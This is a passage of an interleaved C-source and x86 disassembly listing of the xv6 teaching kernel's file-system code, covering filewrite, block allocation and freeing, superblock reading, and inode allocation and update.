80101171: e8 f5 0b 00 00 call 80101d6b <readi>
80101176: 89 45 f4 mov %eax,-0xc(%ebp)
80101179: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010117d: 7e 11 jle 80101190 <fileread+0x9b>
f->off += r;
8010117f: 8b 45 08 mov 0x8(%ebp),%eax
80101182: 8b 50 14 mov 0x14(%eax),%edx
80101185: 8b 45 f4 mov -0xc(%ebp),%eax
80101188: 01 c2 add %eax,%edx
8010118a: 8b 45 08 mov 0x8(%ebp),%eax
8010118d: 89 50 14 mov %edx,0x14(%eax)
iunlock(f->ip);
80101190: 8b 45 08 mov 0x8(%ebp),%eax
80101193: 8b 40 10 mov 0x10(%eax),%eax
80101196: 89 04 24 mov %eax,(%esp)
80101199: e8 0e 08 00 00 call 801019ac <iunlock>
return r;
8010119e: 8b 45 f4 mov -0xc(%ebp),%eax
801011a1: eb 0c jmp 801011af <fileread+0xba>
}
panic("fileread");
801011a3: c7 04 24 0a 8a 10 80 movl $0x80108a0a,(%esp)
801011aa: e8 8b f3 ff ff call 8010053a <panic>
}
801011af: c9 leave
801011b0: c3 ret
801011b1 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
801011b1: 55 push %ebp
801011b2: 89 e5 mov %esp,%ebp
801011b4: 53 push %ebx
801011b5: 83 ec 24 sub $0x24,%esp
int r;
if(f->writable == 0)
801011b8: 8b 45 08 mov 0x8(%ebp),%eax
801011bb: 0f b6 40 09 movzbl 0x9(%eax),%eax
801011bf: 84 c0 test %al,%al
801011c1: 75 0a jne 801011cd <filewrite+0x1c>
return -1;
801011c3: b8 ff ff ff ff mov $0xffffffff,%eax
801011c8: e9 20 01 00 00 jmp 801012ed <filewrite+0x13c>
if(f->type == FD_PIPE)
801011cd: 8b 45 08 mov 0x8(%ebp),%eax
801011d0: 8b 00 mov (%eax),%eax
801011d2: 83 f8 01 cmp $0x1,%eax
801011d5: 75 21 jne 801011f8 <filewrite+0x47>
return pipewrite(f->pipe, addr, n);
801011d7: 8b 45 08 mov 0x8(%ebp),%eax
801011da: 8b 40 0c mov 0xc(%eax),%eax
801011dd: 8b 55 10 mov 0x10(%ebp),%edx
801011e0: 89 54 24 08 mov %edx,0x8(%esp)
801011e4: 8b 55 0c mov 0xc(%ebp),%edx
801011e7: 89 54 24 04 mov %edx,0x4(%esp)
801011eb: 89 04 24 mov %eax,(%esp)
801011ee: e8 16 2f 00 00 call 80104109 <pipewrite>
801011f3: e9 f5 00 00 00 jmp 801012ed <filewrite+0x13c>
if(f->type == FD_INODE){
801011f8: 8b 45 08 mov 0x8(%ebp),%eax
801011fb: 8b 00 mov (%eax),%eax
801011fd: 83 f8 02 cmp $0x2,%eax
80101200: 0f 85 db 00 00 00 jne 801012e1 <filewrite+0x130>
// the maximum log transaction size, including
// i-node, indirect block, allocation blocks,
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
80101206: c7 45 ec 00 1a 00 00 movl $0x1a00,-0x14(%ebp)
int i = 0;
8010120d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while(i < n){
80101214: e9 a8 00 00 00 jmp 801012c1 <filewrite+0x110>
int n1 = n - i;
80101219: 8b 45 f4 mov -0xc(%ebp),%eax
8010121c: 8b 55 10 mov 0x10(%ebp),%edx
8010121f: 29 c2 sub %eax,%edx
80101221: 89 d0 mov %edx,%eax
80101223: 89 45 f0 mov %eax,-0x10(%ebp)
if(n1 > max)
80101226: 8b 45 f0 mov -0x10(%ebp),%eax
80101229: 3b 45 ec cmp -0x14(%ebp),%eax
8010122c: 7e 06 jle 80101234 <filewrite+0x83>
n1 = max;
8010122e: 8b 45 ec mov -0x14(%ebp),%eax
80101231: 89 45 f0 mov %eax,-0x10(%ebp)
begin_op();
80101234: e8 e1 21 00 00 call 8010341a <begin_op>
ilock(f->ip);
80101239: 8b 45 08 mov 0x8(%ebp),%eax
8010123c: 8b 40 10 mov 0x10(%eax),%eax
8010123f: 89 04 24 mov %eax,(%esp)
80101242: e8 17 06 00 00 call 8010185e <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101247: 8b 4d f0 mov -0x10(%ebp),%ecx
8010124a: 8b 45 08 mov 0x8(%ebp),%eax
8010124d: 8b 50 14 mov 0x14(%eax),%edx
80101250: 8b 5d f4 mov -0xc(%ebp),%ebx
80101253: 8b 45 0c mov 0xc(%ebp),%eax
80101256: 01 c3 add %eax,%ebx
80101258: 8b 45 08 mov 0x8(%ebp),%eax
8010125b: 8b 40 10 mov 0x10(%eax),%eax
8010125e: 89 4c 24 0c mov %ecx,0xc(%esp)
80101262: 89 54 24 08 mov %edx,0x8(%esp)
80101266: 89 5c 24 04 mov %ebx,0x4(%esp)
8010126a: 89 04 24 mov %eax,(%esp)
8010126d: e8 5d 0c 00 00 call 80101ecf <writei>
80101272: 89 45 e8 mov %eax,-0x18(%ebp)
80101275: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
80101279: 7e 11 jle 8010128c <filewrite+0xdb>
f->off += r;
8010127b: 8b 45 08 mov 0x8(%ebp),%eax
8010127e: 8b 50 14 mov 0x14(%eax),%edx
80101281: 8b 45 e8 mov -0x18(%ebp),%eax
80101284: 01 c2 add %eax,%edx
80101286: 8b 45 08 mov 0x8(%ebp),%eax
80101289: 89 50 14 mov %edx,0x14(%eax)
iunlock(f->ip);
8010128c: 8b 45 08 mov 0x8(%ebp),%eax
8010128f: 8b 40 10 mov 0x10(%eax),%eax
80101292: 89 04 24 mov %eax,(%esp)
80101295: e8 12 07 00 00 call 801019ac <iunlock>
end_op();
8010129a: e8 ff 21 00 00 call 8010349e <end_op>
if(r < 0)
8010129f: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801012a3: 79 02 jns 801012a7 <filewrite+0xf6>
break;
801012a5: eb 26 jmp 801012cd <filewrite+0x11c>
if(r != n1)
801012a7: 8b 45 e8 mov -0x18(%ebp),%eax
801012aa: 3b 45 f0 cmp -0x10(%ebp),%eax
801012ad: 74 0c je 801012bb <filewrite+0x10a>
panic("short filewrite");
801012af: c7 04 24 13 8a 10 80 movl $0x80108a13,(%esp)
801012b6: e8 7f f2 ff ff call 8010053a <panic>
i += r;
801012bb: 8b 45 e8 mov -0x18(%ebp),%eax
801012be: 01 45 f4 add %eax,-0xc(%ebp)
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
801012c1: 8b 45 f4 mov -0xc(%ebp),%eax
801012c4: 3b 45 10 cmp 0x10(%ebp),%eax
801012c7: 0f 8c 4c ff ff ff jl 80101219 <filewrite+0x68>
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801012cd: 8b 45 f4 mov -0xc(%ebp),%eax
801012d0: 3b 45 10 cmp 0x10(%ebp),%eax
801012d3: 75 05 jne 801012da <filewrite+0x129>
801012d5: 8b 45 10 mov 0x10(%ebp),%eax
801012d8: eb 05 jmp 801012df <filewrite+0x12e>
801012da: b8 ff ff ff ff mov $0xffffffff,%eax
801012df: eb 0c jmp 801012ed <filewrite+0x13c>
}
panic("filewrite");
801012e1: c7 04 24 23 8a 10 80 movl $0x80108a23,(%esp)
801012e8: e8 4d f2 ff ff call 8010053a <panic>
}
801012ed: 83 c4 24 add $0x24,%esp
801012f0: 5b pop %ebx
801012f1: 5d pop %ebp
801012f2: c3 ret
801012f3: 90 nop
801012f4 <readsb>:
static void itrunc(struct inode*);
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
801012f4: 55 push %ebp
801012f5: 89 e5 mov %esp,%ebp
801012f7: 83 ec 28 sub $0x28,%esp
struct buf *bp;
bp = bread(dev, 1);
801012fa: 8b 45 08 mov 0x8(%ebp),%eax
801012fd: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80101304: 00
80101305: 89 04 24 mov %eax,(%esp)
80101308: e8 99 ee ff ff call 801001a6 <bread>
8010130d: 89 45 f4 mov %eax,-0xc(%ebp)
memmove(sb, bp->data, sizeof(*sb));
80101310: 8b 45 f4 mov -0xc(%ebp),%eax
80101313: 83 c0 18 add $0x18,%eax
80101316: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8010131d: 00
8010131e: 89 44 24 04 mov %eax,0x4(%esp)
80101322: 8b 45 0c mov 0xc(%ebp),%eax
80101325: 89 04 24 mov %eax,(%esp)
80101328: e8 5c 42 00 00 call 80105589 <memmove>
brelse(bp);
8010132d: 8b 45 f4 mov -0xc(%ebp),%eax
80101330: 89 04 24 mov %eax,(%esp)
80101333: e8 df ee ff ff call 80100217 <brelse>
}
80101338: c9 leave
80101339: c3 ret
8010133a <bzero>:
// Zero a block.
static void
bzero(int dev, int bno)
{
8010133a: 55 push %ebp
8010133b: 89 e5 mov %esp,%ebp
8010133d: 83 ec 28 sub $0x28,%esp
struct buf *bp;
bp = bread(dev, bno);
80101340: 8b 55 0c mov 0xc(%ebp),%edx
80101343: 8b 45 08 mov 0x8(%ebp),%eax
80101346: 89 54 24 04 mov %edx,0x4(%esp)
8010134a: 89 04 24 mov %eax,(%esp)
8010134d: e8 54 ee ff ff call 801001a6 <bread>
80101352: 89 45 f4 mov %eax,-0xc(%ebp)
memset(bp->data, 0, BSIZE);
80101355: 8b 45 f4 mov -0xc(%ebp),%eax
80101358: 83 c0 18 add $0x18,%eax
8010135b: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80101362: 00
80101363: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010136a: 00
8010136b: 89 04 24 mov %eax,(%esp)
8010136e: e8 47 41 00 00 call 801054ba <memset>
log_write(bp);
80101373: 8b 45 f4 mov -0xc(%ebp),%eax
80101376: 89 04 24 mov %eax,(%esp)
80101379: e8 a7 22 00 00 call 80103625 <log_write>
brelse(bp);
8010137e: 8b 45 f4 mov -0xc(%ebp),%eax
80101381: 89 04 24 mov %eax,(%esp)
80101384: e8 8e ee ff ff call 80100217 <brelse>
}
80101389: c9 leave
8010138a: c3 ret
8010138b <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
8010138b: 55 push %ebp
8010138c: 89 e5 mov %esp,%ebp
8010138e: 83 ec 38 sub $0x38,%esp
int b, bi, m;
struct buf *bp;
struct superblock sb;
bp = 0;
80101391: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
readsb(dev, &sb);
80101398: 8b 45 08 mov 0x8(%ebp),%eax
8010139b: 8d 55 d8 lea -0x28(%ebp),%edx
8010139e: 89 54 24 04 mov %edx,0x4(%esp)
801013a2: 89 04 24 mov %eax,(%esp)
801013a5: e8 4a ff ff ff call 801012f4 <readsb>
for(b = 0; b < sb.size; b += BPB){
801013aa: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801013b1: e9 07 01 00 00 jmp 801014bd <balloc+0x132>
bp = bread(dev, BBLOCK(b, sb.ninodes));
801013b6: 8b 45 f4 mov -0xc(%ebp),%eax
801013b9: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
801013bf: 85 c0 test %eax,%eax
801013c1: 0f 48 c2 cmovs %edx,%eax
801013c4: c1 f8 0c sar $0xc,%eax
801013c7: 8b 55 e0 mov -0x20(%ebp),%edx
801013ca: c1 ea 03 shr $0x3,%edx
801013cd: 01 d0 add %edx,%eax
801013cf: 83 c0 03 add $0x3,%eax
801013d2: 89 44 24 04 mov %eax,0x4(%esp)
801013d6: 8b 45 08 mov 0x8(%ebp),%eax
801013d9: 89 04 24 mov %eax,(%esp)
801013dc: e8 c5 ed ff ff call 801001a6 <bread>
801013e1: 89 45 ec mov %eax,-0x14(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801013e4: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
801013eb: e9 9d 00 00 00 jmp 8010148d <balloc+0x102>
m = 1 << (bi % 8);
801013f0: 8b 45 f0 mov -0x10(%ebp),%eax
801013f3: 99 cltd
801013f4: c1 ea 1d shr $0x1d,%edx
801013f7: 01 d0 add %edx,%eax
801013f9: 83 e0 07 and $0x7,%eax
801013fc: 29 d0 sub %edx,%eax
801013fe: ba 01 00 00 00 mov $0x1,%edx
80101403: 89 c1 mov %eax,%ecx
80101405: d3 e2 shl %cl,%edx
80101407: 89 d0 mov %edx,%eax
80101409: 89 45 e8 mov %eax,-0x18(%ebp)
if((bp->data[bi/8] & m) == 0){ // Is block free?
8010140c: 8b 45 f0 mov -0x10(%ebp),%eax
8010140f: 8d 50 07 lea 0x7(%eax),%edx
80101412: 85 c0 test %eax,%eax
80101414: 0f 48 c2 cmovs %edx,%eax
80101417: c1 f8 03 sar $0x3,%eax
8010141a: 8b 55 ec mov -0x14(%ebp),%edx
8010141d: 0f b6 44 02 18 movzbl 0x18(%edx,%eax,1),%eax
80101422: 0f b6 c0 movzbl %al,%eax
80101425: 23 45 e8 and -0x18(%ebp),%eax
80101428: 85 c0 test %eax,%eax
8010142a: 75 5d jne 80101489 <balloc+0xfe>
bp->data[bi/8] |= m; // Mark block in use.
8010142c: 8b 45 f0 mov -0x10(%ebp),%eax
8010142f: 8d 50 07 lea 0x7(%eax),%edx
80101432: 85 c0 test %eax,%eax
80101434: 0f 48 c2 cmovs %edx,%eax
80101437: c1 f8 03 sar $0x3,%eax
8010143a: 8b 55 ec mov -0x14(%ebp),%edx
8010143d: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx
80101442: 89 d1 mov %edx,%ecx
80101444: 8b 55 e8 mov -0x18(%ebp),%edx
80101447: 09 ca or %ecx,%edx
80101449: 89 d1 mov %edx,%ecx
8010144b: 8b 55 ec mov -0x14(%ebp),%edx
8010144e: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1)
log_write(bp);
80101452: 8b 45 ec mov -0x14(%ebp),%eax
80101455: 89 04 24 mov %eax,(%esp)
80101458: e8 c8 21 00 00 call 80103625 <log_write>
brelse(bp);
8010145d: 8b 45 ec mov -0x14(%ebp),%eax
80101460: 89 04 24 mov %eax,(%esp)
80101463: e8 af ed ff ff call 80100217 <brelse>
bzero(dev, b + bi);
80101468: 8b 45 f0 mov -0x10(%ebp),%eax
8010146b: 8b 55 f4 mov -0xc(%ebp),%edx
8010146e: 01 c2 add %eax,%edx
80101470: 8b 45 08 mov 0x8(%ebp),%eax
80101473: 89 54 24 04 mov %edx,0x4(%esp)
80101477: 89 04 24 mov %eax,(%esp)
8010147a: e8 bb fe ff ff call 8010133a <bzero>
return b + bi;
8010147f: 8b 45 f0 mov -0x10(%ebp),%eax
80101482: 8b 55 f4 mov -0xc(%ebp),%edx
80101485: 01 d0 add %edx,%eax
80101487: eb 4e jmp 801014d7 <balloc+0x14c>
bp = 0;
readsb(dev, &sb);
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb.ninodes));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
80101489: 83 45 f0 01 addl $0x1,-0x10(%ebp)
8010148d: 81 7d f0 ff 0f 00 00 cmpl $0xfff,-0x10(%ebp)
80101494: 7f 15 jg 801014ab <balloc+0x120>
80101496: 8b 45 f0 mov -0x10(%ebp),%eax
80101499: 8b 55 f4 mov -0xc(%ebp),%edx
8010149c: 01 d0 add %edx,%eax
8010149e: 89 c2 mov %eax,%edx
801014a0: 8b 45 d8 mov -0x28(%ebp),%eax
801014a3: 39 c2 cmp %eax,%edx
801014a5: 0f 82 45 ff ff ff jb 801013f0 <balloc+0x65>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
801014ab: 8b 45 ec mov -0x14(%ebp),%eax
801014ae: 89 04 24 mov %eax,(%esp)
801014b1: e8 61 ed ff ff call 80100217 <brelse>
struct buf *bp;
struct superblock sb;
bp = 0;
readsb(dev, &sb);
for(b = 0; b < sb.size; b += BPB){
801014b6: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
801014bd: 8b 55 f4 mov -0xc(%ebp),%edx
801014c0: 8b 45 d8 mov -0x28(%ebp),%eax
801014c3: 39 c2 cmp %eax,%edx
801014c5: 0f 82 eb fe ff ff jb 801013b6 <balloc+0x2b>
return b + bi;
}
}
brelse(bp);
}
panic("balloc: out of blocks");
801014cb: c7 04 24 2d 8a 10 80 movl $0x80108a2d,(%esp)
801014d2: e8 63 f0 ff ff call 8010053a <panic>
}
801014d7: c9 leave
801014d8: c3 ret
801014d9 <bfree>:
// Free a disk block.
static void
bfree(int dev, uint b)
{
801014d9: 55 push %ebp
801014da: 89 e5 mov %esp,%ebp
801014dc: 83 ec 38 sub $0x38,%esp
struct buf *bp;
struct superblock sb;
int bi, m;
readsb(dev, &sb);
801014df: 8d 45 dc lea -0x24(%ebp),%eax
801014e2: 89 44 24 04 mov %eax,0x4(%esp)
801014e6: 8b 45 08 mov 0x8(%ebp),%eax
801014e9: 89 04 24 mov %eax,(%esp)
801014ec: e8 03 fe ff ff call 801012f4 <readsb>
bp = bread(dev, BBLOCK(b, sb.ninodes));
801014f1: 8b 45 0c mov 0xc(%ebp),%eax
801014f4: c1 e8 0c shr $0xc,%eax
801014f7: 89 c2 mov %eax,%edx
801014f9: 8b 45 e4 mov -0x1c(%ebp),%eax
801014fc: c1 e8 03 shr $0x3,%eax
801014ff: 01 d0 add %edx,%eax
80101501: 8d 50 03 lea 0x3(%eax),%edx
80101504: 8b 45 08 mov 0x8(%ebp),%eax
80101507: 89 54 24 04 mov %edx,0x4(%esp)
8010150b: 89 04 24 mov %eax,(%esp)
8010150e: e8 93 ec ff ff call 801001a6 <bread>
80101513: 89 45 f4 mov %eax,-0xc(%ebp)
bi = b % BPB;
80101516: 8b 45 0c mov 0xc(%ebp),%eax
80101519: 25 ff 0f 00 00 and $0xfff,%eax
8010151e: 89 45 f0 mov %eax,-0x10(%ebp)
m = 1 << (bi % 8);
80101521: 8b 45 f0 mov -0x10(%ebp),%eax
80101524: 99 cltd
80101525: c1 ea 1d shr $0x1d,%edx
80101528: 01 d0 add %edx,%eax
8010152a: 83 e0 07 and $0x7,%eax
8010152d: 29 d0 sub %edx,%eax
8010152f: ba 01 00 00 00 mov $0x1,%edx
80101534: 89 c1 mov %eax,%ecx
80101536: d3 e2 shl %cl,%edx
80101538: 89 d0 mov %edx,%eax
8010153a: 89 45 ec mov %eax,-0x14(%ebp)
if((bp->data[bi/8] & m) == 0)
8010153d: 8b 45 f0 mov -0x10(%ebp),%eax
80101540: 8d 50 07 lea 0x7(%eax),%edx
80101543: 85 c0 test %eax,%eax
80101545: 0f 48 c2 cmovs %edx,%eax
80101548: c1 f8 03 sar $0x3,%eax
8010154b: 8b 55 f4 mov -0xc(%ebp),%edx
8010154e: 0f b6 44 02 18 movzbl 0x18(%edx,%eax,1),%eax
80101553: 0f b6 c0 movzbl %al,%eax
80101556: 23 45 ec and -0x14(%ebp),%eax
80101559: 85 c0 test %eax,%eax
8010155b: 75 0c jne 80101569 <bfree+0x90>
panic("freeing free block");
8010155d: c7 04 24 43 8a 10 80 movl $0x80108a43,(%esp)
80101564: e8 d1 ef ff ff call 8010053a <panic>
bp->data[bi/8] &= ~m;
80101569: 8b 45 f0 mov -0x10(%ebp),%eax
8010156c: 8d 50 07 lea 0x7(%eax),%edx
8010156f: 85 c0 test %eax,%eax
80101571: 0f 48 c2 cmovs %edx,%eax
80101574: c1 f8 03 sar $0x3,%eax
80101577: 8b 55 f4 mov -0xc(%ebp),%edx
8010157a: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx
8010157f: 8b 4d ec mov -0x14(%ebp),%ecx
80101582: f7 d1 not %ecx
80101584: 21 ca and %ecx,%edx
80101586: 89 d1 mov %edx,%ecx
80101588: 8b 55 f4 mov -0xc(%ebp),%edx
8010158b: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1)
log_write(bp);
8010158f: 8b 45 f4 mov -0xc(%ebp),%eax
80101592: 89 04 24 mov %eax,(%esp)
80101595: e8 8b 20 00 00 call 80103625 <log_write>
brelse(bp);
8010159a: 8b 45 f4 mov -0xc(%ebp),%eax
8010159d: 89 04 24 mov %eax,(%esp)
801015a0: e8 72 ec ff ff call 80100217 <brelse>
}
801015a5: c9 leave
801015a6: c3 ret
801015a7 <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(void)
{
801015a7: 55 push %ebp
801015a8: 89 e5 mov %esp,%ebp
801015aa: 83 ec 18 sub $0x18,%esp
initlock(&icache.lock, "icache");
801015ad: c7 44 24 04 56 8a 10 movl $0x80108a56,0x4(%esp)
801015b4: 80
801015b5: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
801015bc: e8 81 3c 00 00 call 80105242 <initlock>
}
801015c1: c9 leave
801015c2: c3 ret
801015c3 <ialloc>:
//PAGEBREAK!
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
801015c3: 55 push %ebp
801015c4: 89 e5 mov %esp,%ebp
801015c6: 83 ec 38 sub $0x38,%esp
801015c9: 8b 45 0c mov 0xc(%ebp),%eax
801015cc: 66 89 45 d4 mov %ax,-0x2c(%ebp)
int inum;
struct buf *bp;
struct dinode *dip;
struct superblock sb;
readsb(dev, &sb);
801015d0: 8b 45 08 mov 0x8(%ebp),%eax
801015d3: 8d 55 dc lea -0x24(%ebp),%edx
801015d6: 89 54 24 04 mov %edx,0x4(%esp)
801015da: 89 04 24 mov %eax,(%esp)
801015dd: e8 12 fd ff ff call 801012f4 <readsb>
for(inum = 1; inum < sb.ninodes; inum++){
801015e2: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
801015e9: e9 98 00 00 00 jmp 80101686 <ialloc+0xc3>
bp = bread(dev, IBLOCK(inum));
801015ee: 8b 45 f4 mov -0xc(%ebp),%eax
801015f1: c1 e8 03 shr $0x3,%eax
801015f4: 83 c0 02 add $0x2,%eax
801015f7: 89 44 24 04 mov %eax,0x4(%esp)
801015fb: 8b 45 08 mov 0x8(%ebp),%eax
801015fe: 89 04 24 mov %eax,(%esp)
80101601: e8 a0 eb ff ff call 801001a6 <bread>
80101606: 89 45 f0 mov %eax,-0x10(%ebp)
dip = (struct dinode*)bp->data + inum%IPB;
80101609: 8b 45 f0 mov -0x10(%ebp),%eax
8010160c: 8d 50 18 lea 0x18(%eax),%edx
8010160f: 8b 45 f4 mov -0xc(%ebp),%eax
80101612: 83 e0 07 and $0x7,%eax
80101615: c1 e0 06 shl $0x6,%eax
80101618: 01 d0 add %edx,%eax
8010161a: 89 45 ec mov %eax,-0x14(%ebp)
if(dip->type == 0){ // a free inode
8010161d: 8b 45 ec mov -0x14(%ebp),%eax
80101620: 0f b7 00 movzwl (%eax),%eax
80101623: 66 85 c0 test %ax,%ax
80101626: 75 4f jne 80101677 <ialloc+0xb4>
memset(dip, 0, sizeof(*dip));
80101628: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
8010162f: 00
80101630: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80101637: 00
80101638: 8b 45 ec mov -0x14(%ebp),%eax
8010163b: 89 04 24 mov %eax,(%esp)
8010163e: e8 77 3e 00 00 call 801054ba <memset>
dip->type = type;
80101643: 8b 45 ec mov -0x14(%ebp),%eax
80101646: 0f b7 55 d4 movzwl -0x2c(%ebp),%edx
8010164a: 66 89 10 mov %dx,(%eax)
log_write(bp); // mark it allocated on the disk
8010164d: 8b 45 f0 mov -0x10(%ebp),%eax
80101650: 89 04 24 mov %eax,(%esp)
80101653: e8 cd 1f 00 00 call 80103625 <log_write>
brelse(bp);
80101658: 8b 45 f0 mov -0x10(%ebp),%eax
8010165b: 89 04 24 mov %eax,(%esp)
8010165e: e8 b4 eb ff ff call 80100217 <brelse>
return iget(dev, inum);
80101663: 8b 45 f4 mov -0xc(%ebp),%eax
80101666: 89 44 24 04 mov %eax,0x4(%esp)
8010166a: 8b 45 08 mov 0x8(%ebp),%eax
8010166d: 89 04 24 mov %eax,(%esp)
80101670: e8 e5 00 00 00 call 8010175a <iget>
80101675: eb 29 jmp 801016a0 <ialloc+0xdd>
}
brelse(bp);
80101677: 8b 45 f0 mov -0x10(%ebp),%eax
8010167a: 89 04 24 mov %eax,(%esp)
8010167d: e8 95 eb ff ff call 80100217 <brelse>
struct dinode *dip;
struct superblock sb;
readsb(dev, &sb);
for(inum = 1; inum < sb.ninodes; inum++){
80101682: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80101686: 8b 55 f4 mov -0xc(%ebp),%edx
80101689: 8b 45 e4 mov -0x1c(%ebp),%eax
8010168c: 39 c2 cmp %eax,%edx
8010168e: 0f 82 5a ff ff ff jb 801015ee <ialloc+0x2b>
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
}
panic("ialloc: no inodes");
80101694: c7 04 24 5d 8a 10 80 movl $0x80108a5d,(%esp)
8010169b: e8 9a ee ff ff call 8010053a <panic>
}
801016a0: c9 leave
801016a1: c3 ret
801016a2 <iupdate>:
// Copy a modified in-memory inode to disk.
void
iupdate(struct inode *ip)
{
801016a2: 55 push %ebp
801016a3: 89 e5 mov %esp,%ebp
801016a5: 83 ec 28 sub $0x28,%esp
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum));
801016a8: 8b 45 08 mov 0x8(%ebp),%eax
801016ab: 8b 40 04 mov 0x4(%eax),%eax
801016ae: c1 e8 03 shr $0x3,%eax
801016b1: 8d 50 02 lea 0x2(%eax),%edx
801016b4: 8b 45 08 mov 0x8(%ebp),%eax
801016b7: 8b 00 mov (%eax),%eax
801016b9: 89 54 24 04 mov %edx,0x4(%esp)
801016bd: 89 04 24 mov %eax,(%esp)
801016c0: e8 e1 ea ff ff call 801001a6 <bread>
801016c5: 89 45 f4 mov %eax,-0xc(%ebp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016c8: 8b 45 f4 mov -0xc(%ebp),%eax
801016cb: 8d 50 18 lea 0x18(%eax),%edx
801016ce: 8b 45 08 mov 0x8(%ebp),%eax
801016d1: 8b 40 04 mov 0x4(%eax),%eax
801016d4: 83 e0 07 and $0x7,%eax
801016d7: c1 e0 06 shl $0x6,%eax
801016da: 01 d0 add %edx,%eax
801016dc: 89 45 f0 mov %eax,-0x10(%ebp)
dip->type = ip->type;
801016df: 8b 45 08 mov 0x8(%ebp),%eax
801016e2: 0f b7 50 10 movzwl 0x10(%eax),%edx
801016e6: 8b 45 f0 mov -0x10(%ebp),%eax
801016e9: 66 89 10 mov %dx,(%eax)
dip->major = ip->major;
801016ec: 8b 45 08 mov 0x8(%ebp),%eax
801016ef: 0f b7 50 12 movzwl 0x12(%eax),%edx
801016f3: 8b 45 f0 mov -0x10(%ebp),%eax
801016f6: 66 89 50 02 mov %dx,0x2(%eax)
dip->minor = ip->minor;
801016fa: 8b 45 08 mov 0x8(%ebp),%eax
801016fd: 0f b7 50 14 movzwl 0x14(%eax),%edx
80101701: 8b 45 f0 mov -0x10(%ebp),%eax
80101704: 66 89 50 04 mov %dx,0x4(%eax)
dip->nlink = ip->nlink;
80101708: 8b 45 08 mov 0x8(%ebp),%eax
8010170b: 0f b7 50 16 movzwl 0x16(%eax),%edx
8010170f: 8b 45 f0 mov -0x10(%ebp),%eax
80101712: 66 89 50 06 mov %dx,0x6(%eax)
dip->size = ip->size;
80101716: 8b 45 08 mov 0x8(%ebp),%eax
80101719: 8b 50 18 mov 0x18(%eax),%edx
8010171c: 8b 45 f0 mov -0x10(%ebp),%eax
8010171f: 89 50 08 mov %edx,0x8(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
80101722: 8b 45 08 mov 0x8(%ebp),%eax
80101725: 8d 50 1c lea 0x1c(%eax),%edx
80101728: 8b 45 f0 mov -0x10(%ebp),%eax
8010172b: 83 c0 0c add $0xc,%eax
8010172e: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101735: 00
80101736: 89 54 24 04 mov %edx,0x4(%esp)
8010173a: 89 04 24 mov %eax,(%esp)
8010173d: e8 47 3e 00 00 call 80105589 <memmove>
log_write(bp);
80101742: 8b 45 f4 mov -0xc(%ebp),%eax
80101745: 89 04 24 mov %eax,(%esp)
80101748: e8 d8 1e 00 00 call 80103625 <log_write>
brelse(bp);
8010174d: 8b 45 f4 mov -0xc(%ebp),%eax
80101750: 89 04 24 mov %eax,(%esp)
80101753: e8 bf ea ff ff call 80100217 <brelse>
}
80101758: c9 leave
80101759: c3 ret
8010175a <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
8010175a: 55 push %ebp
8010175b: 89 e5 mov %esp,%ebp
8010175d: 83 ec 28 sub $0x28,%esp
struct inode *ip, *empty;
acquire(&icache.lock);
80101760: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101767: e8 f7 3a 00 00 call 80105263 <acquire>
// Is the inode already cached?
empty = 0;
8010176c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101773: c7 45 f4 94 22 11 80 movl $0x80112294,-0xc(%ebp)
8010177a: eb 59 jmp 801017d5 <iget+0x7b>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
8010177c: 8b 45 f4 mov -0xc(%ebp),%eax
8010177f: 8b 40 08 mov 0x8(%eax),%eax
80101782: 85 c0 test %eax,%eax
80101784: 7e 35 jle 801017bb <iget+0x61>
80101786: 8b 45 f4 mov -0xc(%ebp),%eax
